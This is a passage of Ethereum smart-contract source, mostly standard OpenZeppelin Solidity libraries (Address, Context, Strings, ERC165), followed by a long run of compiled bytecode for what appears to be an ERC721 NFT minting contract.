https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106103085760003560e01c80638462151c1161019a578063c6ab67a3116100e1578063e1abf5d31161008a578063eb8d244411610064578063eb8d244414610811578063f2fde38b14610826578063fb3cc6c21461084657610308565b8063e1abf5d3146107bc578063e7d773a0146107dc578063e985e9c5146107f157610308565b8063daaeec86116100bb578063daaeec8614610772578063db2e21bc14610787578063e110976f1461079c57610308565b8063c6ab67a314610728578063c87b56dd1461073d578063d111515d1461075d57610308565b8063a0bcfc7f11610143578063a475b5dd1161011d578063a475b5dd146106de578063b832dcc9146106f3578063b88d4fde1461070857610308565b8063a0bcfc7f1461067e578063a22cb4651461069e578063a4146733146106be57610308565b806395d89b411161017457806395d89b41146106415780639abc832014610656578063a0712d681461066b57610308565b80638462151c146105df5780638497e0fa1461060c5780638da5cb5b1461062c57610308565b80632f745c591161025e57806351cff8d91161020757806370a08231116101e157806370a082311461058a578063715018a6146105aa5780637acdd50d146105bf57610308565b806351cff8d9146105355780636352211e146105555780636bb599ff1461057557610308565b80634f558e79116102385780634f558e79146104e05780634f6ccce714610500578063518302271461052057610308565b80632f745c591461048057806342842e0e146104a05780634e114e19146104c057610308565b8063095ea7b3116102c0578063162094c41161029a578063162094c41461041e57806318160ddd1461043e57806323b872dd1461046057610308565b8063095ea7b3146103c957806310969523146103e957806314ea928a1461040957610308565b806306fdde03116102f157806306fdde0314610365578063081812fc1461037a578063091d14e5146103a757610308565b806301ffc9a71461030d57806306c536ab14610343575b600080fd5b34801561031957600080fd5b5061032d6103283660046129e3565b61085b565b60405161033a9190612c62565b60405180910390f35b34801561034f57600080fd5b50610358610888565b60405161033a9190612c6d565b34801561037157600080fd5b50610358610916565b34801561038657600080fd5b5061039a610395366004612a62565b6109a8565b60405161033a9190612bb5565b3480156103b357600080fd5b506103c76103c2366004612a62565b6109f4565b005b3480156103d557600080fd5b506103c76103e436600461299c565b610a59565b3480156103f557600080fd5b506103c7610404366004612a2f565b610af1565b34801561041557600080fd5b5061032d610b6f565b34801561042a57600080fd5b506103c7610439366004612a7a565b610b7d565b34801561044a57600080fd5b50610453610be9565b60405161033a9190613681565b34801561046c57600080fd5b506103c761047b3660046128b2565b610bef565b34801561048c57600080fd5b5061045361049b36600461299c565b610c27565b3480156104ac57600080fd5b506103c76104bb3660046128b2565b610c79565b3480156104cc57600080fd5b506103c76104db36600461299c565b610c94565b3480156104ec57600080fd5b5061032d6104fb366004612a62565b610d7e565b34801561050c57600080fd5b5061045361051b366004612a62565b610d89565b34801561052c57600080fd5b5061032d610de4565b34801561054157600080fd5b506103c761055036600461285e565b610df2565b34801561056157600080fd5b5061039a610570366004612a62565b610e69565b34801561058157600080fd5b5061039a610e9e565b34801561059657600080fd5b506104536105a536600461285e565b610eb3565b3480156105b657600080fd5b506103c7610ef7565b3480156105cb57600080fd5b506103c76105da36600461285e565b610f42565b3480156105eb57600080fd5b506105ff6105fa36600461285e565b610fc1565b60405161033a9190612c1e565b34801561061857600080fd5b506103c7610627366004612a62565b6110a2565b34801561063857600080fd5b5061039a611151565b34801561064d57600080fd5b50610358611160565b34801561066257600080fd5b5061035861116f565b6103c7610679366004612a62565b61117c565b34801561068a57600080fd5b506103c7610699366004612a2f565b611362565b3480156106aa57600080fd5b506103c76106b936600461296f565b61141a565b3480156106ca57600080fd5b506103c76106d9366004612a62565b6114e8565b3480156106ea57600080fd5b506103c7611612565b3480156106ff57600080fd5b50610453611662565b34801561071457600080fd5b506103c76107233660046128f2565b611668565b34801561073457600080fd5b506103586116a1565b34801561074957600080fd5b50610358610758366004612a62565b6116ae565b34801561076957600080fd5b506103c7611763565b34801561077e57600080fd5b506103c76117d4565b34801561079357600080fd5b506103c7611827565b3480156107a857600080fd5b506103c76107b7366004612a1b565b611895565b3480156107c857600080fd5b506103c76107d7366004612a2f565b611993565b3480156107e857600080fd5b506103c7611a08565b3480156107fd57600080fd5b5061032d61080c36600461287a565b611a80565b34801561081d57600080fd5b5061032d611aae565b34801561083257600080fd5b506103c761084136600461285e565b611ab7565b34801561085257600080fd5b5061032d611b28565b60006001600160e01b0319821663780e9d6360e01b1480610880575061088082611b31565b90505b919050565b6011805461089590613724565b80601f01602080910402602001604051908101604052809291908181526020018280546108c190613724565b801561090e5780601f106108e35761010080835404028352916020019161090e565b820191906000526020600020905b8154815290600101906020018083116108f157829003601f168201915b505050505081565b60606000805461092590613724565b80601f016020809104026020016040519081016040528092919081815260200182805461095190613724565b801561099e5780601f106109735761010080835404028352916020019161099e565b820191906000526020600020905b81548152906001019060200180831161098157829003601f168201915b5050505050905090565b60006109b382611b56565b6109d85760405162461bcd60e51b81526004016109cf90613288565b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b6109fc611b73565b6001600160a01b0316610a0d611151565b6001600160a01b031614610a335760405162461bcd60e51b81526004016109cf906132d4565b600d548110610a545760405162461bcd60e51b81526004016109cf90613366565b600d55565b6000610a6482610e69565b9050806001600160a01b0316836001600160a01b03161415610a985760405162461bcd60e51b81526004016109cf9061348e565b806001600160a01b0316610aaa611b73565b6001600160a01b03161480610ac65750610ac68161080c611b73565b610ae25760405162461bcd60e51b81526004016109cf90613082565b610aec8383611b77565b505050565b610af9611b73565b6001600160a01b0316610b0a611151565b6001600160a01b031614610b305760405162461bcd60e51b81526004016109cf906132d4565b600e54610100900460ff1615610b585760405162461bcd60e51b81526004016109cf90612efd565b8051610b6b90600c906020840190612736565b5050565b600e54610100900460ff1681565b610b85611b73565b6001600160a01b0316610b96611151565b6001600160a01b031614610bbc5760405162461bcd60e51b81526004016109cf906132d4565b600e5460ff1615610bdf5760405162461bcd60e51b81526004016109cf90613613565b610b6b8282611bf2565b60085490565b610c00610bfa611b73565b82611c36565b610c1c5760405162461bcd60e51b81526004016109cf90613559565b610aec838383611cbb565b6000610c3283610eb3565b8210610c505760405162461bcd60e51b81526004016109cf90612d14565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b610aec83838360405180602001604052806000815250611668565b610c9c611b73565b6001600160a01b0316610cad611151565b6001600160a01b031614610cd35760405162461bcd60e51b81526004016109cf906132d4565b6001600160a01b038216610cf95760405162461bcd60e51b81526004016109cf90612cb7565b600d5481610d05610be9565b610d0f9190613696565b1115610d2d5760405162461bcd60e51b81526004016109cf90613457565b6000610d37610be9565b610d42906001613696565b905060005b82811015610d7857610d598483611df5565b610d64600183613696565b915080610d7081613759565b915050610d47565b50505050565b600061088082611b56565b6000610d93610be9565b8210610db15760405162461bcd60e51b81526004016109cf906135b6565b60088281548110610dd257634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050919050565b601054610100900460ff1681565b610dfa611b73565b6001600160a01b0316610e0b611151565b6001600160a01b031614610e315760405162461bcd60e51b81526004016109cf906132d4565b60405147906001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610aec573d6000803e3d6000fd5b6000818152600260205260408120546001600160a01b0316806108805760405162461bcd60e51b81526004016109cf9061313c565b600e546201000090046001600160a01b031681565b60006001600160a01b038216610edb5760405162461bcd60e51b81526004016109cf906130df565b506001600160a01b031660009081526003602052604090205490565b610eff611b73565b6001600160a01b0316610f10611151565b6001600160a01b031614610f365760405162461bcd60e51b81526004016109cf906132d4565b610f406000611e0f565b565b610f4a611b73565b6001600160a01b0316610f5b611151565b6001600160a01b031614610f815760405162461bcd60e51b81526004016109cf906132d4565b600e80546001600160a01b0390921662010000027fffffffffffffffffffff0000000000000000000000000000000000000000ffff909216919091179055565b60606000610fce83610eb3565b905080610feb575050604080516000815260208101909152610883565b60008167ffffffffffffffff81111561101457634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561103d578160200160208202803683370190505b50905060005b82811015611092576110558582610c27565b82828151811061107557634e487b7160e01b600052603260045260246000fd5b60209081029190910101528061108a81613759565b915050611043565b5091506108839050565b50919050565b600d54816110ae610be9565b6110b89190613696565b11156110d65760405162461bcd60e51b81526004016109cf90613457565b600e546201000090046001600160a01b031633146111065760405162461bcd60e51b81526004016109cf90612fc8565b6000611110610be9565b61111b906001613696565b905060005b82811015610aec576111323383611df5565b61113d600183613696565b91508061114981613759565b915050611120565b600b546001600160a01b031690565b60606001805461092590613724565b600f805461089590613724565b60105460ff1661119e5760405162461bcd60e51b81526004016109cf9061364a565b60328111156111bf5760405162461bcd60e51b81526004016109cf90612ec8565b600d54816111cb610be9565b6111d59190613696565b11156111f35760405162461bcd60e51b81526004016109cf90612c80565b610bb86111fe610be9565b101561121c5760405162461bcd60e51b81526004016109cf90612dce565b600166b1a2bc2ec50000600083611231610be9565b61123b9190613696565b905061232881111561125b5767016345785d8a0000915060009250611271565b6117708111156112715767010a741a4627800091505b3461127c85846136c2565b111561129a5760405162461bcd60e51b81526004016109cf906133fa565b60006112a4610be9565b6112af906001613696565b905060005b8581101561135a576112c63383611df5565b60006112d7610570610bb8856136e1565b90508580156112ec57506112ea81611e6e565b155b15611339576001600160a01b0381166108fc61130f6658d15e17628000886136e1565b6040518115909202916000818181858888f19350505050158015611337573d6000803e3d6000fd5b505b611344600184613696565b925050808061135290613759565b9150506112b4565b505050505050565b61136a611b73565b6001600160a01b031661137b611151565b6001600160a01b0316146113a15760405162461bcd60e51b81526004016109cf906132d4565b600e5460ff16156113c45760405162461bcd60e51b81526004016109cf90613613565b80516113d790600f906020840190612736565b50600f6040516113e79190612b1a565b604051908190038120907fafa35f42f46f5052816d7c6a2e9406eca98294b20726677862d83b4a7418d8d590600090a250565b611422611b73565b6001600160a01b0316826001600160a01b031614156114535760405162461bcd60e51b81526004016109cf90612f91565b8060056000611460611b73565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff1916921515929092179091556114a4611b73565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516114dc9190612c62565b60405180910390a35050565b60105460ff1661150a5760405162461bcd60e51b81526004016109cf9061364a565b610bb881611516610be9565b6115209190613696565b111561153e5760405162461bcd60e51b81526004016109cf90613522565b600d548161154a610be9565b6115549190613696565b11156115725760405162461bcd60e51b81526004016109cf90613457565b60038111156115935760405162461bcd60e51b81526004016109cf9061304b565b60038161159f33610eb3565b6115a99190613696565b11156115c75760405162461bcd60e51b81526004016109cf906134eb565b60006115d1610be9565b6115dc906001613696565b905060005b82811015610aec576115f33383611df5565b6115fe600183613696565b91508061160a81613759565b9150506115e1565b61161a611b73565b6001600160a01b031661162b611151565b6001600160a01b0316146116515760405162461bcd60e51b81526004016109cf906132d4565b6010805461ff001916610100179055565b600d5481565b611679611673611b73565b83611c36565b6116955760405162461bcd60e51b81526004016109cf90613559565b610d7884848484611e7a565b600c805461089590613724565b601054606090610100900460ff16156116d1576116ca82611ead565b9050610883565b601180546116de90613724565b80601f016020809104026020016040519081016040528092919081815260200182805461170a90613724565b80156117575780601f1061172c57610100808354040283529160200191611757565b820191906000526020600020905b81548152906001019060200180831161173a57829003601f168201915b50505050509050610883565b61176b611b73565b6001600160a01b031661177c611151565b6001600160a01b0316146117a25760405162461bcd60e51b81526004016109cf906132d4565b600e5460ff16156117c55760405162461bcd60e51b81526004016109cf90613613565b600e805460ff19166001179055565b6117dc611b73565b6001600160a01b03166117ed611151565b6001600160a01b0316146118135760405162461bcd60e51b81526004016109cf906132d4565b6010805460ff19811660ff90911615179055565b61182f611b73565b6001600160a01b0316611840611151565b6001600160a01b0316146118665760405162461bcd60e51b81526004016109cf906132d4565b6040514790339082156108fc029083906000818181858888f19350505050158015610b6b573d6000803e3d6000fd5b61189d611b73565b6001600160a01b03166118ae611151565b6001600160a01b0316146118d45760405162461bcd60e51b81526004016109cf906132d4565b6001600160a01b0382166118fa5760405162461bcd60e51b81526004016109cf90612e4b565b6040517fa9059cbb0000000000000000000000000000000000000000000000000000000081526001600160a01b0384169063a9059cbb906119419085908590600401612c05565b602060405180830381600087803b15801561195b57600080fd5b505af115801561196f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d7891906129c7565b61199b611b73565b6001600160a01b03166119ac611151565b6001600160a01b0316146119d25760405162461bcd60e51b81526004016109cf906132d4565b600e5460ff16156119f55760405162461bcd60e51b81526004016109cf90613613565b8051610b6b906011906020840190612736565b611a10611b73565b6001600160a01b0316611a21611151565b6001600160a01b031614611a475760405162461bcd60e51b81526004016109cf906132d4565b600e54610100900460ff1615611a6f5760405162461bcd60e51b81526004016109cf90612efd565b600e805461ff001916610100179055565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b60105460ff1681565b611abf611b73565b6001600160a01b0316611ad0611151565b6001600160a01b031614611af65760405162461bcd60e51b81526004016109cf906132d4565b6001600160a01b038116611b1c5760405162461bcd60e51b81526004016109cf90612e05565b611b2581611e0f565b50565b600e5460ff1681565b60006001600160e01b0319821663780e9d6360e01b1480610880575061088082611fc6565b6000908152600260205260409020546001600160a01b0316151590565b3390565b6000818152600460205260409020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0384169081179091558190611bb982610e69565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b611bfb82611b56565b611c175760405162461bcd60e51b81526004016109cf90613199565b6000828152600a602090815260409091208251610aec92840190612736565b6000611c4182611b56565b611c5d5760405162461bcd60e51b81526004016109cf90612fff565b6000611c6883610e69565b9050806001600160a01b0316846001600160a01b03161480611ca35750836001600160a01b0316611c98846109a8565b6001600160a01b0316145b80611cb35750611cb38185611a80565b949350505050565b826001600160a01b0316611cce82610e69565b6001600160a01b031614611cf45760405162461bcd60e51b81526004016109cf90613309565b6001600160a01b038216611d1a5760405162461bcd60e51b81526004016109cf90612f34565b611d25838383612038565b611d30600082611b77565b6001600160a01b0383166000908152600360205260408120805460019290611d599084906136e1565b90915550506001600160a01b0382166000908152600360205260408120805460019290611d87908490613696565b9091555050600081815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b610b6b828260405180602001604052806000815250612043565b600b80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b3b63ffffffff16151590565b611e85848484611cbb565b611e9184848484612076565b610d785760405162461bcd60e51b81526004016109cf90612d71565b6060611eb882611b56565b611ed45760405162461bcd60e51b81526004016109cf9061322b565b6000828152600a602052604081208054611eed90613724565b80601f0160208091040260200160405190810160405280929190818152602001828054611f1990613724565b8015611f665780601f10611f3b57610100808354040283529160200191611f66565b820191906000526020600020905b815481529060010190602001808311611f4957829003601f168201915b505050505090506000611f776121aa565b9050805160001415611f8b57509050610883565b815115611fbd578082604051602001611fa5929190612aeb565b60405160208183030381529060405292505050610883565b611cb3846121b9565b60006001600160e01b031982167f80ac58cd00000000000000000000000000000000000000000000000000000000148061202957506001600160e01b031982167f5b5e139f00000000000000000000000000000000000000000000000000000000145b8061088057506108808261223c565b610aec83838361226e565b61204d83836122f7565b61205a6000848484612076565b610aec5760405162461bcd60e51b81526004016109cf90612d71565b600061208a846001600160a01b03166123e3565b1561219f57836001600160a01b031663150b7a026120a6611b73565b8786866040518563ffffffff1660e01b81526004016120c89493929190612bc9565b602060405180830381600087803b1580156120e257600080fd5b505af1925050508015612112575060408051601f3d908101601f1916820190925261210f918101906129ff565b60015b61216c573d808015612140576040519150601f19603f3d011682016040523d82523d6000602084013e612145565b606091505b5080516121645760405162461bcd60e51b81526004016109cf90612d71565b805181602001fd5b6001600160e01b0319167f150b7a0200000000000000000000000000000000000000000000000000000000149050611cb3565b506001949350505050565b6060600f805461092590613724565b60606121c482611b56565b6121e05760405162461bcd60e51b81526004016109cf9061339d565b60006121ea6121aa565b9050600081511161220a5760405180602001604052806000815250612235565b80612214846123e9565b604051602001612225929190612aeb565b6040516020818303038152906040525b9392505050565b6001600160e01b031981167f01ffc9a70000000000000000000000000000000000000000000000000000000014919050565b612279838383610aec565b6001600160a01b0383166122955761229081612538565b6122b8565b816001600160a01b0316836001600160a01b0316146122b8576122b8838261257c565b6001600160a01b0382166122d4576122cf81612619565b610aec565b826001600160a01b0316826001600160a01b031614610aec57610aec82826126f2565b6001600160a01b03821661231d5760405162461bcd60e51b81526004016109cf906131f6565b61232681611b56565b156123435760405162461bcd60e51b81526004016109cf90612e91565b61234f60008383612038565b6001600160a01b0382166000908152600360205260408120805460019290612378908490613696565b9091555050600081815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b3b151590565b60608161242a575060408051808201909152600181527f30000000000000000000000000000000000000000000000000000000000000006020820152610883565b8160005b8115612454578061243e81613759565b915061244d9050600a836136ae565b915061242e565b60008167ffffffffffffffff81111561247d57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156124a7576020820181803683370190505b5090505b8415611cb3576124bc6001836136e1565b91506124c9600a86613774565b6124d4906030613696565b60f81b8183815181106124f757634e487b7160e01b600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350612531600a866136ae565b94506124ab565b600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b6000600161258984610eb3565b61259391906136e1565b6000838152600760205260409020549091508082146125e6576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b60085460009061262b906001906136e1565b6000838152600960205260408120546008805493945090928490811061266157634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050806008838154811061269057634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101929092558281526009909152604080822084905585825281205560088054806126d657634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b60006126fd83610eb3565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b82805461274290613724565b90600052602060002090601f01602090048101928261276457600085556127aa565b82601f1061277d57805160ff19168380011785556127aa565b828001600101855582156127aa579182015b828111156127aa57825182559160200191906001019061278f565b506127b69291506127ba565b5090565b5b808211156127b657600081556001016127bb565b600067ffffffffffffffff808411156127ea576127ea6137b4565b604051601f8501601f19168101602001828111828210171561280e5761280e6137b4565b60405284815291508183850186101561282657600080fd5b8484602083013760006020868301015250509392505050565b600082601f83011261284f578081fd5b612235838335602085016127cf565b60006020828403121561286f578081fd5b8135612235816137ca565b6000806040838503121561288c578081fd5b8235612897816137ca565b915060208301356128a7816137ca565b809150509250929050565b6000806000606084860312156128c6578081fd5b83356128d1816137ca565b925060208401356128e1816137ca565b929592945050506040919091013590565b60008060008060808587031215612907578081fd5b8435612912816137ca565b93506020850135612922816137ca565b925060408501359150606085013567ffffffffffffffff811115612944578182fd5b8501601f81018713612954578182fd5b612963878235602084016127cf565b91505092959194509250565b60008060408385031215612981578182fd5b823561298c816137ca565b915060208301356128a7816137df565b600080604083850312156129ae578182fd5b82356129b9816137ca565b946020939093013593505050565b6000602082840312156129d8578081fd5b8151612235816137df565b6000602082840312156129f4578081fd5b8135612235816137ed565b600060208284031215612a10578081fd5b8151612235816137ed565b6000806000606084860312156128c6578283fd5b600060208284031215612a40578081fd5b813567ffffffffffffffff811115612a56578182fd5b611cb38482850161283f565b600060208284031215612a73578081fd5b5035919050565b60008060408385031215612a8c578182fd5b82359150602083013567ffffffffffffffff811115612aa9578182fd5b612ab58582860161283f565b9150509250929050565b60008151808452612ad78160208601602086016136f8565b601f01601f19169290920160200192915050565b60008351612afd8184602088016136f8565b835190830190612b118183602088016136f8565b01949350505050565b8154600090819060028104600180831680612b3657607f831692505b6020808410821415612b5657634e487b7160e01b87526022600452602487fd5b818015612b6a5760018114612b7b57612ba7565b60ff19861689528489019650612ba7565b612b848a61368a565b885b86811015612b9f5781548b820152908501908301612b86565b505084890196505b509498975050505050505050565b6001600160a01b0391909116815260200190565b60006001600160a01b03808716835280861660208401525083604083015260806060830152612bfb6080830184612abf565b9695505050505050565b6001600160a01b03929092168252602082015260400190565b6020808252825182820181905260009190848201906040850190845b81811015612c5657835183529284019291840191600101612c3a565b50909695505050505050565b901515815260200190565b6000602082526122356020830184612abf565b6020808252601e908201527f5052503a20507572636861736520776f756c6420657863656564206361700000604082015260600190565b60208082526021908201527f5052503a2043616e6e6f74206d696e7420746f207a65726f206164647265737360408201527f2e00000000000000000000000000000000000000000000000000000000000000606082015260800190565b6020808252602b908201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560408201527f74206f6620626f756e6473000000000000000000000000000000000000000000606082015260800190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527f63656976657220696d706c656d656e7465720000000000000000000000000000606082015260800190565b6020808252601b908201527f5052503a2046726565206d696e74206e6f742066696e69736865640000000000604082015260600190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526026908201527f43616e6e6f74207265636f76657220746f6b656e7320746f207468652030206160408201526564647265737360d01b606082015260800190565b6020808252601c908201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604082015260600190565b6020808252818101527f5052503a20416d6f756e742065786365656473206d617820706572206d696e74604082015260600190565b6020808252601f908201527f5052503a2050726f76656e616e636520616c72656164792066726f7a656e2e00604082015260600190565b60208082526024908201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460408201527f7265737300000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526019908201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604082015260600190565b6020808252601d908201527f5052503a204f6e6c7920666f722066616c6c6261636b206d696e746572000000604082015260600190565b6020808252602c908201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b6020808252601d908201527f5052503a204f6e6c7920332066726565206d696e747320706572207478000000604082015260600190565b60208082526038908201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760408201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606082015260800190565b6020808252602a908201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560408201527f726f206164647265737300000000000000000000000000000000000000000000606082015260800190565b60208082526029908201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460408201527f656e7420746f6b656e0000000000000000000000000000000000000000000000606082015260800190565b6020808252602e908201527f45524337323155524953746f726167653a2055524920736574206f66206e6f6e60408201527f6578697374656e7420746f6b656e000000000000000000000000000000000000606082015260800190565b6020808252818101527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604082015260600190565b60208082526031908201527f45524337323155524953746f726167653a2055524920717565727920666f722060408201527f6e6f6e6578697374656e7420746f6b656e000000000000000000000000000000606082015260800190565b6020808252602c908201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029